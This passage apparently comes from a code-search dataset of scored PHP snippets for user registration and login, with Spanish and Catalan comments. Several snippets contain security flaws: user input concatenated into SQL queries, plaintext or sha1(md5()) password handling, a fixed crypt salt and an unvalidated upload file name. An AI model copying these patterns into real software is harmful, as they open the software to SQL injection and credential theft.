nuevamente\",\n\t\t\t\t\t\t\t\"Tipo\" => \"error\"\n\t\t\t\t\t\t];\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif($email != \"\")\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$consultaEmail = modeloPrincipal::ejecutarConsultaSimpleSQL(\"SELECT CuentaEmail FROM cuenta WHERE CuentaEmail='$email'\");\n\t\t\t\t\t\t\t$resultadoEmail = $consultaEmail->rowCount();\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$resultadoEmail = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ($resultadoEmail >= 1) {\n\t\t\t\t\t\t\t$alerta = [\n\t\t\t\t\t\t\t\t\"Alerta\" => \"simple\",\n\t\t\t\t\t\t\t\t\"Titulo\" => \"Error\",\n\t\t\t\t\t\t\t\t\"Texto\" => \"El EMAIL ya esta registrado en el sistema. Verifique nuevamente\",\n\t\t\t\t\t\t\t\t\"Tipo\" => \"error\"\n\t\t\t\t\t\t\t];\n\t\t\t\t\t\t} \n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$consultaUsuario = modeloPrincipal::ejecutarConsultaSimpleSQL(\"SELECT CuentaUsuario FROM cuenta WHERE CuentaUsuario='$usuario'\");\n\t\t\t\t\t\t\tif($consultaUsuario->rowCount() >= 1)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$alerta = [\n\t\t\t\t\t\t\t\t\t\"Alerta\" => \"simple\",\n\t\t\t\t\t\t\t\t\t\"Titulo\" => \"Error\",\n\t\t\t\t\t\t\t\t\t\"Texto\" => \"El USUARIO ya esta registrado en el sistema. Verifique nuevamente\",\n\t\t\t\t\t\t\t\t\t\"Tipo\" => \"error\"\n\t\t\t\t\t\t\t\t];\t\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$consultaID = modeloPrincipal::ejecutarConsultaSimpleSQL(\"SELECT id FROM cuenta\");\n\n\t\t\t\t\t\t\t\t$numero = ($consultaID->rowCount())+1;\n\n\t\t\t\t\t\t\t\t$codigo = modeloPrincipal::generarCodigo(\"LM\", 5, $numero);\n\n\t\t\t\t\t\t\t\t$clave = modeloPrincipal::encriptar($password1);\n\n\t\t\t\t\t\t\t\t$datosCuenta = [\n\t\t\t\t\t\t\t\t\t\"Codigo\" => $codigo,\n\t\t\t\t\t\t\t\t\t\"Usuario\" => $usuario,\n\t\t\t\t\t\t\t\t\t\"Clave\" => $clave,\n\t\t\t\t\t\t\t\t\t\"Email\" => $email,\n\t\t\t\t\t\t\t\t\t\"Estado\" => \"Activo\",\n\t\t\t\t\t\t\t\t\t\"Rol\" => $rol,\n\t\t\t\t\t\t\t\t\t\"Genero\" => $genero,\n\t\t\t\t\t\t\t\t\t\"Foto\" => $foto\n\t\t\t\t\t\t\t\t];\n\n\t\t\t\t\t\t\t\t$cuentaAgregada = modeloPrincipal::agregarCuenta($datosCuenta);\n\n\t\t\t\t\t\t\t\tif ($cuentaAgregada)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t$datosRegistro = [\n\t\t\t\t\t\t\t\t\t\t\"DNI\" => $dni,\n\t\t\t\t\t\t\t\t\t\t\"Nombre\" => $nombre,\n\t\t\t\t\t\t\t\t\t\t\"Apellidos\" => $apellido,\n\t\t\t\t\t\t\t\t\t\t\"Telefono\" => $telefono,\n\t\t\t\t\t\t\t\t\t\t\"Direccion\" => $direccion,\n\t\t\t\t\t\t\t\t\t\t\"Codigo\" => $codigo,\n\t\t\t\t\t\t\t\t\t\t\"Privilegio\" => $privilegio\n\t\t\t\t\t\t\t\t\t];\n\n\t\t\t\t\t\t\t\t\t$registroAgregado = registroModelo::registrarUsuarioModelo($datosRegistro);\n\n\t\t\t\t\t\t\t\t\tif ($registroAgregado)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$alerta = [\n\t\t\t\t\t\t\t\t\t\t\t\"Alerta\" => \"redireccionar\",\n\t\t\t\t\t\t\t\t\t\t\t\"Titulo\" => \"Registro completo\",\n\t\t\t\t\t\t\t\t\t\t\t\"Texto\" => \"Usuario registrado en el sistema. Inicie sesion ahora.\",\n\t\t\t\t\t\t\t\t\t\t\t\"Tipo\" => \"success\",\n\t\t\t\t\t\t\t\t\t\t\t\"Pagina\" => \"login/\"\n\t\t\t\t\t\t\t\t\t\t];\n\n\t\t\t\t\t\t\t\t\t\treturn modeloPrincipal::mostrarAlertaRedireccion($alerta);\n\t\t\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tmodeloPrincipal::eliminarCuenta($codigo);\n\n\t\t\t\t\t\t\t\t\t\t$alerta = [\n\t\t\t\t\t\t\t\t\t\t\t\"Alerta\" => \"simple\",\n\t\t\t\t\t\t\t\t\t\t\t\"Titulo\" => \"Error\",\n\t\t\t\t\t\t\t\t\t\t\t\"Texto\" => \"El USUARIO NO pudo ser registrado. Verifique nuevamente\",\n\t\t\t\t\t\t\t\t\t\t\t\"Tipo\" => \"error\"\n\t\t\t\t\t\t\t\t\t\t];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$alerta = [\n\t\t\t\t\t\t\t\t\t\t\"Alerta\" => \"simple\",\n\t\t\t\t\t\t\t\t\t\t\"Titulo\" => \"Error\",\n\t\t\t\t\t\t\t\t\t\t\"Texto\" => \"La CUENTA NO pudo ser registrada. Verifique nuevamente\",\n\t\t\t\t\t\t\t\t\t\t\"Tipo\" => \"error\"\n\t\t\t\t\t\t\t\t\t];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\treturn modeloPrincipal::mostrarAlerta($alerta);\n\t\t\t\n\t\t}", "title": "" }, { "docid": "83a61fcbb26ee64531f832c6c62e0a9d", "score": "0.678161", "text": "public function Logueo()\n\t{\n\t\tself::SetNames();\n\t\tif(empty($_POST[\"usuario\"]) or empty($_POST[\"password\"]))\n\t\t{\n\t\t\techo \"1\";\n\t\t\texit;\n\t\t}\n\n\t\t$pass = sha1(md5($_POST[\"password\"]));\n\t\t$sql = \"SELECT * FROM usuarios WHERE usuario = ? AND password = ? AND status = 1\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->execute(array($_POST[\"usuario\"],$pass));\n\t\t$num = $stmt->rowCount();\n\t\tif($num == 0)\n\t\t{\n\t\t\techo \"2\";\n\t\t\texit;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\t\n\t\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$p[]=$row;\n\t\t\t}\n\t\t\tif($p[0][\"empresa\"] != null){\n\n\t\t\t\t$sql = \"SELECT * FROM configuracion WHERE id = \".$p[0][\"empresa\"];\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->execute();\n\t\t\t\t$num = $stmt->rowCount();\n\t\t\tif($num == 0 && $p[0][\"empresa\"] != null){\n\t\t\t\techo \"2\";\n\t\t\t\texit;\n\t\t\t}\n\t\t\t######### DATOS DEL USUARIO ###########\n\t\t\t$_SESSION[\"codigo\"] = $p[0][\"codigo\"];\n\t\t\t$_SESSION[\"dni\"] = $p[0][\"dni\"];\n\t\t\t$_SESSION[\"nombres\"] = $p[0][\"nombres\"];\n\t\t\t$_SESSION[\"sexo\"] = $p[0][\"sexo\"];\n\t\t\t$_SESSION[\"direccion\"] = $p[0][\"direccion\"];\n\t\t\t$_SESSION[\"telefono\"] = $p[0][\"telefono\"];\n\t\t\t$_SESSION[\"email\"] = $p[0][\"email\"];\n\t\t\t$_SESSION[\"usuario\"] = $p[0][\"usuario\"];\n\t\t\t$_SESSION[\"password\"] = $p[0][\"password\"];\n\t\t\t$_SESSION[\"nivel\"] = $p[0][\"nivel\"];\n\t\t\t$_SESSION[\"status\"] = $p[0][\"status\"];\n\t\t\t//add empresa\n\t\t\t$_SESSION[\"empresa\"]= $p[0][\"empresa\"];\n\t\t\t$_SESSION[\"ingreso\"] = limpiar(date(\"d-m-Y h:i:s A\"));\n\n\t\t\t$query = \"INSERT INTO log VALUES (null, ?, ?, ?, ?, ?, ?);\";\n\t\t\t$stmt = $this->dbh->prepare($query);\n\t\t\t$stmt->bindParam(1,$a);\n\t\t\t$stmt->bindParam(2,$b);\n\t\t\t$stmt->bindParam(3,$c);\n\t\t\t$stmt->bindParam(4,$d);\n\t\t\t$stmt->bindParam(5,$e);\n\t\t\t$stmt->bindParam(6,$f);\n\n\t\t\t$a = limpiar($_SERVER['REMOTE_ADDR']);\n\t\t\t$b = limpiar(date(\"Y-m-d h:i:s\"));\n\t\t\t$c = limpiar($_SERVER['HTTP_USER_AGENT']);\n\t\t\t$d = limpiar($_SERVER['PHP_SELF']);\n\t\t\t$e = limpiar($_POST[\"usuario\"]);\n\t\t\tif(!$_SESSION[\"empresa\"])\n\t\t\t$f = 0;\n\t\t\telse\n\t\t\t$f = $_SESSION[\"empresa\"];\n\t\t\t$stmt->execute();\n\t\t}else{\n\t\t\t######### DATOS DEL USUARIO ###########\n\t\t\t$_SESSION[\"codigo\"] = $p[0][\"codigo\"];\n\t\t\t$_SESSION[\"dni\"] = $p[0][\"dni\"];\n\t\t\t$_SESSION[\"nombres\"] = $p[0][\"nombres\"];\n\t\t\t$_SESSION[\"sexo\"] = $p[0][\"sexo\"];\n\t\t\t$_SESSION[\"direccion\"] = $p[0][\"direccion\"];\n\t\t\t$_SESSION[\"telefono\"] = $p[0][\"telefono\"];\n\t\t\t$_SESSION[\"email\"] = $p[0][\"email\"];\n\t\t\t$_SESSION[\"usuario\"] = $p[0][\"usuario\"];\n\t\t\t$_SESSION[\"password\"] = $p[0][\"password\"];\n\t\t\t$_SESSION[\"nivel\"] = $p[0][\"nivel\"];\n\t\t\t$_SESSION[\"status\"] = $p[0][\"status\"];\n\t\t\t//add empresa\n\t\t\t$_SESSION[\"empresa\"]= $p[0][\"empresa\"];\n\t\t\t$_SESSION[\"ingreso\"] = limpiar(date(\"d-m-Y h:i:s A\"));\n\n\t\t\t$query = \"INSERT INTO log VALUES (null, ?, ?, ?, ?, ?, ?);\";\n\t\t\t$stmt = $this->dbh->prepare($query);\n\t\t\t$stmt->bindParam(1,$a);\n\t\t\t$stmt->bindParam(2,$b);\n\t\t\t$stmt->bindParam(3,$c);\n\t\t\t$stmt->bindParam(4,$d);\n\t\t\t$stmt->bindParam(5,$e);\n\t\t\t$stmt->bindParam(6,$f);\n\n\t\t\t$a = limpiar($_SERVER['REMOTE_ADDR']);\n\t\t\t$b = limpiar(date(\"Y-m-d h:i:s\"));\n\t\t\t$c = limpiar($_SERVER['HTTP_USER_AGENT']);\n\t\t\t$d = limpiar($_SERVER['PHP_SELF']);\n\t\t\t$e = limpiar($_POST[\"usuario\"]);\n\t\t\tif(!$_SESSION[\"empresa\"])\n\t\t\t$f = 0;\n\t\t\telse\n\t\t\t$f = $_SESSION[\"empresa\"];\n\t\t\t$stmt->execute();\n\t\t\t//Get sala principal/\n\t\t\t}\n\t\t\tif($_SESSION[\"empresa\"] != null){\n\t\t\t$sql = \"SELECT * FROM configuracion WHERE id = \".$_SESSION[\"empresa\"];\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->execute();\n\t\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$x[]=$row;\n\t\t\t}\n\t\t\t$_SESSION[\"sala_p\"]= $x[0][\"codsala\"];\n\t\t\t}\t\t\n\t\t\tswitch($_SESSION[\"nivel\"])\n\t\t\t{\n\t\t\t\tcase 'SUPERADMINISTRADOR(A)':\n\t\t\t\t$_SESSION[\"acceso\"]=\"superadministrador\";\n\t\n\t\t\t\t?>\n\n<script type=\"text/javascript\">\nwindow.location = \"panel\";\n</script>\n\n<?php\n\t\t\t\tbreak;\n\t\t\t\tcase 'ADMINISTRADOR(A)':\n\t\t\t\t$_SESSION[\"acceso\"]=\"administrador\";\n\n\t\t\t\t?>\n\n<script type=\"text/javascript\">\nwindow.location = \"panel\";\n</script>\n\n<?php\n\t\t\t\tbreak;\n\t\t\t\tcase 'SECRETARIA':\n\t\t\t\t$_SESSION[\"acceso\"]=\"secretaria\";\n\n\t\t\t\t?>\n\n<script type=\"text/javascript\">\nwindow.location = \"panel\";\n</script>\n\n<?php\n\t\t\t\tbreak;\n\t\t\t\tcase 'CAJERO(A)':\n\t\t\t\t$_SESSION[\"acceso\"]=\"cajero\";\n\n\t\t\t\t?>\n\n<script type=\"text/javascript\">\nwindow.location = \"panel\";\n</script>\n\n<?php\n\t\t\t\tbreak;\n\t\t\t\tcase 'MESERO(A)':\n\t\t\t\t$_SESSION[\"acceso\"]=\"mesero\";\n\t\t\t\t?>\n\n<script type=\"text/javascript\">\nwindow.location = \"panel\";\n</script>\n\n<?php\n\t\t\t\tbreak;\n\t\t\t\tcase 'COCINERO(A)':\n\t\t\t\t$_SESSION[\"acceso\"]=\"cocinero\";\n\t\t\t\t?>\n\n<script type=\"text/javascript\">\nwindow.location = \"panel\";\n</script>\n\n<?php\n\t\t\t\tbreak;\n\t\t\t\tcase 'REPARTIDOR':\n\t\t\t\t$_SESSION[\"acceso\"]=\"repartidor\";\n\t\t\t\t?>\n\n<script type=\"text/javascript\">\nwindow.location = \"panel\";\n</script>\n\n<?php\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\t//print_r($_POST);\n\t\texit;\n\t}", "title": "" }, { "docid": "98e45d5737cf4ba99b922628270c3e60", "score": "0.6776909", "text": "private function saveUser ( ) {\r\n \r\n /** recuperem els valors de les variables POST que venen del formulari */\r\n $this->getPostValues ( );\r\n\r\n if ( ( filter_has_var ( INPUT_POST, 'idUsuari' ) ) && ( ( filter_input ( INPUT_POST, 'idUsuari' ) ) != \"\" ) ) { /** si s'ha sel·leccionat usuari executa el mètode Update */\r\n \r\n \r\n $this->updateUser( filter_input ( INPUT_POST, 'idUsuari' ) );\r\n \r\n \r\n } else { /** si no hi ha usuari sel·leccionat executa el mètode Insert */\r\n \r\n $this->insertUser ( );\r\n \r\n } \r\n \r\n }", "title": "" }, { "docid": "a74ab4d3ceba2435bdad4a8fd27671fb", "score": "0.67644954", "text": "public function RegistrarUsuarios()\n\t{\n\t\tself::SetNames();\n\t\tif(empty($_POST[\"nombres\"]) or empty($_POST[\"usuario\"]) or empty($_POST[\"password\"]) or empty($_SESSION[\"empresa\"]))\n\t\t{\n\t\t\techo \"1\";\n\t\t\texit;\n\t\t}\n\n\t\t$sql = \" SELECT dni FROM usuarios WHERE dni = ?\";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->execute(array($_POST[\"dni\"]));\n\t\t$num = $stmt->rowCount();\n\t\tif($num > 0)\n\t\t{\n\t\t\t\n\t\t\techo \"4\";\n\t\t\texit;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$sql = \" SELECT email FROM usuarios WHERE email = ?\";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->execute(array($_POST[\"email\"]));\n\t\t\t$num = $stmt->rowCount();\n\t\t\tif($num > 0)\n\t\t\t{\n\n\t\t\t\techo \"5\";\n\t\t\t\texit;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$sql = \" SELECT usuario FROM usuarios WHERE usuario = ?\";\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->execute(array($_POST[\"usuario\"]));\n\t\t\t\t$num = $stmt->rowCount();\n\t\t\t\tif($num == 0)\n\t\t\t\t{\n\t\t\t\t\t$query = \" INSERT INTO usuarios values (null, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);\";\n\t\t\t\t\t$stmt = $this->dbh->prepare($query);\n\t\t\t\t\t$stmt->bindParam(1, $dni);\n\t\t\t\t\t$stmt->bindParam(2, $nombres);\n\t\t\t\t\t$stmt->bindParam(3, $sexo);\n\t\t\t\t\t$stmt->bindParam(4, $direccion);\n\t\t\t\t\t$stmt->bindParam(5, $telefono);\n\t\t\t\t\t$stmt->bindParam(6, $email);\n\t\t\t\t\t$stmt->bindParam(7, $usuario);\n\t\t\t\t\t$stmt->bindParam(8, $password);\n\t\t\t\t\t$stmt->bindParam(9, $nivel);\n\t\t\t\t\t$stmt->bindParam(10, $status);\n\t\t\t\t\t$stmt->bindParam(11, $comision);\n\t\t\t\t\t$stmt->bindParam(12, $empresa);//add empresa\n\n\t\t\t\t\t$dni = limpiar($_POST[\"dni\"]);\n\t\t\t\t\t$nombres = limpiar($_POST[\"nombres\"]);\n\t\t\t\t\t$sexo = limpiar($_POST[\"sexo\"]);\n\t\t\t\t\t$direccion = limpiar($_POST[\"direccion\"]);\n\t\t\t\t\t$telefono = limpiar($_POST[\"telefono\"]);\n\t\t\t\t\t$email = limpiar($_POST[\"email\"]);\n\t\t\t\t\t$usuario = limpiar($_POST[\"usuario\"]);\n\t\t\t\t\t$password = sha1(md5($_POST[\"password\"]));\n\t\t\t\t\t$nivel = limpiar($_POST[\"nivel\"]);\n\t\t\t\t\t$status = limpiar($_POST[\"status\"]);\n\t\t\t\t\t$comision = limpiar($_POST[\"comision\"]);\n\t\t\t\t\t$empresa = limpiar($_SESSION[\"empresa\"]);\n\t\t\t\t\t$stmt->execute();\n\n\t\t\t################## SUBIR FOTO DE USUARIOS ######################################\n\t //datos del arhivo \n\t\t\t\t\tif (isset($_FILES['imagen']['name'])) { $nombre_archivo = $_FILES['imagen']['name']; } else { $nombre_archivo =''; }\n\t\t\t\t\tif (isset($_FILES['imagen']['type'])) { $tipo_archivo = $_FILES['imagen']['type']; } else { $tipo_archivo =''; }\n\t\t\t\t\tif (isset($_FILES['imagen']['size'])) { $tamano_archivo = $_FILES['imagen']['size']; } else { $tamano_archivo =''; } \n\t //compruebo si las características del archivo son las que deseo \n\t\t\t\t\tif ((strpos($tipo_archivo,'image/jpeg')!==false)&&$tamano_archivo<50000) \n\t\t\t\t\t{ \n\t\t\t\t\t\tif (move_uploaded_file($_FILES['imagen']['tmp_name'], \"fotos/\".$nombre_archivo) && rename(\"fotos/\".$nombre_archivo,\"fotos/\".$_POST[\"dni\"].\".jpg\"))\n\t\t\t\t\t\t{ \n\t\t\t ## se puede dar un aviso\n\t\t\t\t\t\t} \n\t\t\t ## se puede dar otro aviso \n\t\t\t\t\t}\n\t\t\t################## FINALIZA SUBIR FOTO DE USUARIOS ##################\n\t\t\t\t\techo \"<span class='fa fa-check-square-o'></span> EL USUARIO HA SIDO REGISTRADO EXITOSAMENTE\";\n\t\t\t\t\texit;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\techo \"6\";\n\t\t\t\t\texit;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "bc17f21b99bcbc1e2d45072c9fee0821", "score": "0.67610264", "text": "static public function ctrIngresoUsuario(){\n\n\t\tif(isset($_POST[\"username\"])){\n\n\t\t\tif(preg_match('/^[a-zA-Z0-9]+$/', $_POST[\"username\"]) &&\n\t\t\t preg_match('/^[a-zA-Z0-9]+$/', $_POST[\"userpass\"])){\n\n\t\t\t\t$cryptar = crypt($_POST[\"userpass\"], '$2a$07$usesomesillystringforsalt$');\n\t\t\t\t$tabla = \"usuarios\";\n\n\t\t\t\t$item = \"usuario\";\n\t\t\t\t$valor = $_POST[\"username\"];\n\n\t\t\t\t$respuesta = ModeloUsuarios::MdlMostrarUsuarios($tabla, $item, $valor);\n\n\t\t\t\t\tif($respuesta[\"usuario\"] == $_POST[\"username\"] && $respuesta[\"password\"] == $cryptar ){\n\n\t\t\t\t\tif ($respuesta[\"estado\"] == 1) \n\n\t\t\t\t\t{\t\t\t\t\t\n\n\t\t\t\t\t$_SESSION[\"iniciarSesion\"]\t= \"ok\";\n\t\t\t\t\t$_SESSION[\"id\"]\t= $respuesta [\"id\"];\n\t\t\t\t\t$_SESSION[\"nombre\"]\t= $respuesta [\"nombre\"];\n\t\t\t\t\t$_SESSION[\"usuario\"] =$respuesta [\"usuario\"];\n\t\t\t\t\t$_SESSION[\"foto\"]\t= $respuesta [\"foto\"];\n\t\t\t\t\t$_SESSION[\"perfil\"]\t= $respuesta [\"perfil\"];\n\n\t\t\t\t/*=============================================\n\t\t\t\t\t\t\tULTIMO INGRESO\n\t\t\t\t=============================================*/\n\n\t\t\t\tdate_default_timezone_set('America/Lima');\n\n\t\t\t\t$fecha = date('Y/m/d');\n\t\t\t\t$hora = date('H-i-s');\n\n\t\t\t\t$fechaActual = $fecha.' '.$hora;\n\n\t\t\t\t$item1 = \"ultimo_login\";\n\t\t\t\t$valor1 = $fechaActual;\n\n\t\t\t\t$item2 = \"id\";\n\t\t\t\t$valor2 = $respuesta[\"id\"];\n\n\t\t\t\t$ultimo_login = ModeloUsuarios::mdlActualizarUsuario($tabla, $item1, $valor1, $item2, $valor2);\n\n\t\t\t\tif ($ultimo_login == \"ok\") {\n\n\t\t\t\t\techo '<script>\n\t\t\t\t\t\t\n\t\t\t\t\t\twindow.location = \"inicio\";\n\n\t\t\t\t\t\t</script>';\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t}else{\n\n\t\t\t\t\t\techo '<div class=\"alert alert-danger text-center\" role=\"alert\">Usuario desactivado</div>';\n\t\t\t\t\t}\n\n\t\t\t\t\t}else {\n\n\t\t\t\t\t\techo '<div class=\"alert alert-danger text-center\" role=\"alert\">Error al ingresar</div>';\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "64cb957b4135ace90d27601ef337f831", "score": "0.6757852", "text": "public function addUser(){\n //SI LOS DATOS NO ESTAN VACIOS COMPRUEBA QUE LA REPETICION DE CONTRASENA SEA CORRECTA\n if(!empty($_POST['name']) && !empty($_POST['lastname']) && !empty($_POST['email']) && !empty($_POST['DNI']) && !empty($_POST['date']) && !empty($_POST['city']) && !empty($_POST['password']) && !empty($_POST['repassword'])){\n //Si la repetici[on de contrasena no coicide vuelve a mostrar el formulario de registro con el mensaje de error\n if(($_POST['password']) != ($_POST['repassword'])){\n $this->view->showRegister(\"Las contrasenas no coinciden\");\n }\n else{\n //SI LAS CONTRASENAS COINCIDEN SE GUARDAN LOS DATOS EN VARIABLES\n $name = $_POST['name'];\n $lastname = $_POST['lastname']; \n $arrayUsername = [$name.\" \".$lastname]; \n $username = implode(\" \", $arrayUsername);\n $email = $_POST['email']; \n $DNI = $_POST['DNI'];\n $date = $_POST['date']; \n $city = $_POST['city']; \n $pass = $_POST['password']; \n $hash = password_hash($pass, PASSWORD_DEFAULT);\n } //FALTA CONTROLAR QUE NO SE AGREGUEN DOS USUARIOS IGUALES\n //AGREGO EL USUARIO A LA DB\n $this->model->addUser($name,$lastname,$username,$email,$date,$DNI,$city,$hash);\n //OBTENGO LOS DATOS DEL NUEVO USUARIO\n $user = $this->model->getUserByEmail($email);\n //INICIO LA SESION DEL NUEVO USUARIO\n //session_start();\n $_SESSION['ID_USER'] = $user->id;\n $_SESSION['USERNAME'] = $user->username;\n $_SESSION['PERMITS'] = $user->permits;\n var_dump(\"agregado\");\n die;\n //VUELVO AL INICIO\n //header('Location: ' . \"home\");\n }\n else{\n $this->view->showRegister(\"Por favor, complete todos los datos.\");\n }\n }", "title": "" }, { "docid": "663e86477971d8b855c1c8b723b0799c", "score": "0.67312104", "text": "function ingresar($nombreUsuario, $clave) {\r\n\t\t\r\n\r\n$conexion = mysqli_connect('localhost', 'root', '', 'peliculas') or die(\"Error al conectar a la base de datos ->\" . mysqli_error($conexion));\r\nmysqli_set_charset($conexion, \"utf8\");\r\n\r\n\t\r\n\t\t\r\n\t\t$consulta = \"SELECT * FROM usuarios where nombreusuario = '$nombreUsuario'\";\r\n //$conexion = conectar();\r\n\r\n\r\n\r\n\r\n $userDB = mysqli_query($conexion, $consulta);\r\n\t\t\r\n\t\r\n\t\t// controlar autenticacion\r\n\t\tif ($userDB == null) {\r\n\t\t\t// lanzo exception si hay error\r\n\t\t\tthrow new ErrorException(\"El usuario no existe.\", 0);\r\n\t\t}\r\n\t\t//\"clave ->\".$clave, 0, $severidad, $fichero, $línea \r\n\t\t//ver que son los parametros de la excepcion\r\n\t\t$fila = $userDB->fetch_assoc();\r\n\t\tif ($fila['password'] != $clave) {\r\n\t\t\t// lanzo exception si hay error\r\n\t\t\tthrow new ErrorException(\"Clave incorrecta\", 0);\r\n\t\t\t// \"clave ->\".$clave, 0, $severidad, $fichero, $línea\r\n\t\t}\r\n\r\n\t//\t$usuario = new Usuario;\r\n\t\t$this->nombreUsuario = $fila[\"nombreusuario\"];\r\n\t\t$_SESSION['usuario'] = $this->nombreUsuario;\r\n\t\t\r\n\t\t$this->idUsuario = $fila[\"id\"];\r\n\t\t$_SESSION['usuarioid']=$this->idUsuario;\r\n\t\r\n\t\t\r\n\t\t$this->esAdmin = $fila[\"administrador\"];\r\n\t\t$_SESSION['admin']=$this->esAdmin;\r\n\t\r\n\t\t// retornas el usuario, con los roles\r\n\t\r\n }", "title": "" }, { "docid": "af4769cd2a9c132ffc2031f644fc618a", "score": "0.6721701", "text": "public function save(){\n // Cremos senticia sql para insertar un nuevo usurio \n $resultado = false;\n $sql = \"INSERT INTO usuarios VALUES (null,'{$this->getNombre()}', '{$this->getApellido()},', '{$this->getEmail()}', '{$this->getPassword()}','usuario', null)\";\n \n // Guardamos la query \n $registro = $this->conexion->query($sql);\n \n if($registro == true ){\n // Validamos que el 'insert into' fuera exitoso y recuperamos el id de ese usuario para si poder transformas sus datos en objeto \n $id = $this->conexion->insert_id;\n $n_usurio = $this->conexion->query(\"SELECT * FROM usuarios WHERE id = '$id'\");\n $resultado = $n_usurio->fetch_object();\n }\n return $resultado;\n }", "title": "" }, { "docid": "79c15890e3ef01b7900ae9e2c12f4cfb", "score": "0.67093366", "text": "function registrarUsuario(string $identificador, string $contrasenna)\n{\n\n $pdo = conectarBD();\n $compruebo = \"SELECT * FROM Usuario WHERE identificador='$identificador'\";\n $select = $pdo->prepare($compruebo);\n $select->execute();\n $registro = $select->fetchAll();\n if (count($registro) == 0) {\n $identificador = $_REQUEST[\"identificador\"];\n $contrasenna = password_hash($_REQUEST[\"contrasenna\"], PASSWORD_BCRYPT);\n $fechaRegistro = date(\"Y-m-d H:i:s\");\n $avatar = ' ';\n $nombre = $_REQUEST[\"nombre\"];\n $apellidos = $_REQUEST[\"apellidos\"];\n $sql = \"INSERT INTO Usuario (identificador, contrasenna,fechaRegistro,avatar,nombre,apellidos) VALUES (?,?,?,?,?,?)\";\n $parametros = [$identificador, $contrasenna, $fechaRegistro, $avatar, $nombre, $apellidos];\n $sentencia = $pdo->prepare($sql);\n $sql_con_exito = $sentencia->execute($parametros);\n return redireccionar(\"sesionInicio.php?usuario\");\n } else {\n return 'El usuario ya existe';\n }\n}", "title": "" }, { "docid": "c65386c2277b75663fd3a72fe0d7f03c", "score": "0.67090774", "text": "public function controlador_juvilador(){\n\t\t$this->Perfil->where('salt',$_GET['controlator']);\n\t\tif($salida = $this->Perfil->getOne('usuarios','id')){\n\t\t\tif($this->user == $salida['id']){\n\t\t\t\t//el usuario coincide con el conectado\n\t\t\t\tif(!empty($_GET['art'])){\n\t\t\t\t\t//var_dump('borraria bien pero desactivado');\n\t\t\t\t\t//comentada para que ahora no elimine anuncios\n\t\t\t\t\t//$this->validar_juvilar_anuncio($_GET['art'],$salida);\n\t\t\t\t}else if(!empty($_GET['borr'])){\n\t\t\t\t\t$this->validar_eliminar_borrador($salida);\n\t}\t}\t}\t}", "title": "" }, { "docid": "c9a2d5e98b179b53cc0b8774261d4804", "score": "0.6708566", "text": "public function accionRegistro(){\n\n $acceso = Sistema::app()->acceso();\n\n //Si ya estas logueado no puedes registrarte\n if ($acceso->hayUsuario()){\n Sistema::app()->irAPagina(array(\"inicial\",\"Principal\"));\n return;\n }\n\n //Si no, accedes al formulario de registro\n\n switch($_COOKIE[\"lang\"]){\n case(\"en\"): \n $palabras = [\"en\",\"Personal data\",\"ID\",\"Name\",\"Subname\",\"Birth date\",\n \"Contact data\",\"Email\",\"Repeat email\",\"Town\",\"Address\",\n \"Security\",\"Password\",\"Repeat password\",\n \"Sign up\"]; \n break;\n\n default: \n $palabras = [\"es\",\"Datos personales\",\"NIF\",\"Nombre\",\"Apellidos\",\"Fecha de nacimiento\",\n \"Datos de contacto\",\"Email\",\"Repetir email\",\"Población\",\"Dirección\",\n \"Seguridad\",\"Contraseña\",\"Repetir contraseña\",\n \"Registrarse\"]; \n break;\n }\n\n $registro = new Registro();\n $datos = $registro->getNombre();\n $exito = \"\";\n\n if (isset($_POST[$datos]) && isset($_POST[\"contrasenna\"])){\n\n $registro->setValores($_POST[$datos]);\n $exito = CGeneral::passwordSegura($_POST[\"contrasenna\"],50);\n\n //Si los datos son validos y la contraseña cumple los requisitos, se guarda en usuarios y en perfiles\n if ($registro->validar() && $exito === true){\n\n if ($registro->guardar()){\n $acl = Sistema::app()->ACL();\n $contra = 